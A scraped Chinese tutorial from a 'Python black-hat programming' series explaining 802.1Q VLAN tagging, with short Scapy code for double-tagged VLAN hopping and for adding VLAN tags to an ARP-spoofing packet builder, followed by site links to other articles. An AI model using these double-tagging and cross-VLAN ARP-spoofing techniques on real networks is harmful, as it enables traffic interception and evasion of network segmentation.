Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
python在windows下创建隐藏窗口子进程的方法
Jun 04 Python
谈谈Python进行验证码识别的一些想法
Jan 25 Python
详解Python设计模式编程中观察者模式与策略模式的运用
Mar 02 Python
linux环境下的python安装过程图解(含setuptools)
Nov 22 Python
django 2.2和mysql使用的常见问题
Jul 18 Python
PyQt5中多线程模块QThread使用方法的实现
Jan 31 Python
matplotlib 生成的图像中无法显示中文字符的解决方法
Jun 10 Python
浅谈matplotlib 绘制梯度下降求解过程
Jul 12 Python
python 基于selectors库实现文件上传与下载
Dec 31 Python
python编写函数注意事项总结
Mar 29 Python
python爬取新闻门户网站的示例
Apr 25 Python
浅析Python中的套接字编程
Jun 22 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
德劲1107的电路分析与打磨
2021/03/02 无线电
php 之 没有mysql支持时的替代方案
2006/10/09 PHP
WordPress特定文章对搜索引擎隐藏或只允许搜索引擎查看
2015/12/31 PHP
php操纵mysqli数据库的实现方法
2016/09/18 PHP
用javascript来实现动画导航效果的代码
2007/12/16 Javascript
基于jquery的DIV随滚动条滚动而滚动的代码
2012/07/20 Javascript
JavaScript 浏览器兼容性总结及常用浏览器兼容性分析
2016/03/30 Javascript
微信小程序中顶部导航栏的实现代码
2017/03/30 Javascript
详解Angular.js中$http拦截器的介绍及使用
2017/07/04 Javascript
想用好React的你必须要知道的一些事情
2017/07/24 Javascript
前端把html表格生成为excel表格的实例
2017/09/19 Javascript
vue移动端路由切换实例分析
2018/05/14 Javascript
Angular动画实现的2种方式以及添加购物车动画实例代码
2018/08/09 Javascript
webpack+vue+express(hot)热启动调试简单配置方法
2018/09/19 Javascript
vue webpack重写cookie路径的方法
2019/07/10 Javascript
使用Vue生成动态表单
2019/11/26 Javascript
JS如何实现手机端输入验证码效果
2020/05/13 Javascript
vue-cli脚手架的.babelrc文件用法说明
2020/09/11 Javascript
python编程-将Python程序转化为可执行程序[整理]
2007/04/09 Python
pymssql ntext字段调用问题解决方法
2008/12/17 Python
Python标准库之多进程(multiprocessing包)介绍
2014/11/25 Python
用Python代码来解图片迷宫的方法整理
2015/04/02 Python
基于Python对象引用、可变性和垃圾回收详解
2017/08/21 Python
Python多层装饰器用法实例分析
2018/02/09 Python
Python lambda函数基本用法实例分析
2018/03/16 Python
python中的列表和元组区别分析
2020/12/30 Python
MAC彩妆英国官网:M·A·C UK
2018/05/30 全球购物
女士鞋子、包包和服装在线,第一款10美元:ShoeDazzle
2019/07/26 全球购物
htmlentities() 和 htmlspecialchars()有什么区别
2015/07/01 面试题
群众路线教育实践活动剖析材料
2014/09/30 职场文书
县委党的群众路线教育实践活动工作情况报告
2014/10/25 职场文书
中秋节晚会开场白
2015/05/29 职场文书
大学生自我鉴定怎么写
2019/05/07 职场文书
nginx配置虚拟主机的详细步骤
2021/07/21 Servers
基于Redis6.2.6版本部署Redis Cluster集群的问题
2022/04/01 Redis
JavaScript模拟实现网易云轮播效果
2022/04/04 Javascript